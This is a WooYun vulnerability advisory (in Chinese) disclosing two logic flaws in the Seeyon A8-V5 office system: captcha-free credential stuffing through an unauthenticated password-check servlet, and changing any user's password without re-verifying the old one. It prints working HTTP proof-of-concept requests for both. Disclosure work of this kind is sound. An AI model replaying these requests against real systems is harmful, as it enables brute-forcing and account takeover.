当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0104942

漏洞标题：致远A8-V5存在任意用户密码修改漏洞

相关厂商：seeyon.com

漏洞作者： 路人甲

提交时间：2015-03-31 10:55

修复时间：2015-07-04 10:57

公开时间：2015-07-04 10:57

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-31： 细节已通知厂商并且等待厂商处理中
2015-04-05： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-05-30： 细节向核心白帽子及相关领域专家公开
2015-06-09： 细节向普通白帽子公开
2015-06-19： 细节向实习白帽子公开
2015-07-04： 细节向公众公开

简要描述：

致远A8-V5存在两个漏洞
一是无视验证码撞库
二是任意用户密码修改

详细说明：

一是无视验证码撞库
致远A8-V5在设计时存在逻辑错误，用户修改密码时对原密码进行了验证，但是验证使用的服务存在未授权访问漏洞，系统对非合法请求的原密码验证功能进行回应，导致了无视验证码，无需login页面进行密码尝试
二是任意用户密码修改
致远A8-V5在设计时存在逻辑错误，在上一步对原始密码进行验证后，下一步不再检测原始密码，从而直接修改用户密码，导致平行权限的越权漏洞。

漏洞证明：

一是无视验证码撞库
POST穷举用户和密码代码如下

GET /seeyon/getAjaxDataServlet?S=ajaxOrgManager&M=isOldPasswordCorrect&CL=true&RVT=XML&P_1_String=admin&P_2_String=wy123456 HTTP/1.0
Accept: */*
Accept-Language: zh-cn
Referer: http://a8v51.seeyon.com/seeyon/individualManager.do?method=managerFrame
requesttype: AJAX
Content-Type: application/x-www-form-urlencoded
Cookie: 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: a8v51.seeyon.com
DNT: 1
Proxy-Connection: Keep-Alive


pojie.png


显示true为该用户密码正确，轮询P_1_String参数即可撞库。
二是任意用户密码修改
在上一步完成之后，页面调转到提交修改请求页面
POST如下数据

POST /seeyon/individualManager.do?method=modifyIndividual HTTP/1.0
Accept: text/html, application/xhtml+xml, */*
Referer: http://a8v51.seeyon.com/seeyon/individualManager.do?method=managerFrame
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
Pragma: no-cache
Content-Length: 86
DNT: 1
Host: a8v51.seeyon.com
Cookie: JSESSIONID=DA71A65B3AAD45823A1FADAB80A3E685; Hm_lvt_49c0fa7f96aa0a5fb95c62909d5190a6=1419221849,1419232608; avatarImageUrl=8469117046183055270; loginPageURL="/main.do"
individualName=admin&formerpassword=123456&nowpassword=wy123456&validatepass=wy123456


individualName为用户名
注意，此处需要以一个合法的JSESSIONID发送如上数据即可修改任意用户密码，合法的JSESSIONID由撞库得出。
本次证明演示中修改的用户为admin，修改为wy123456

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-07-04 10:57

厂商回复：

漏洞Rank：12 (WooYun评价)

最新状态：

暂无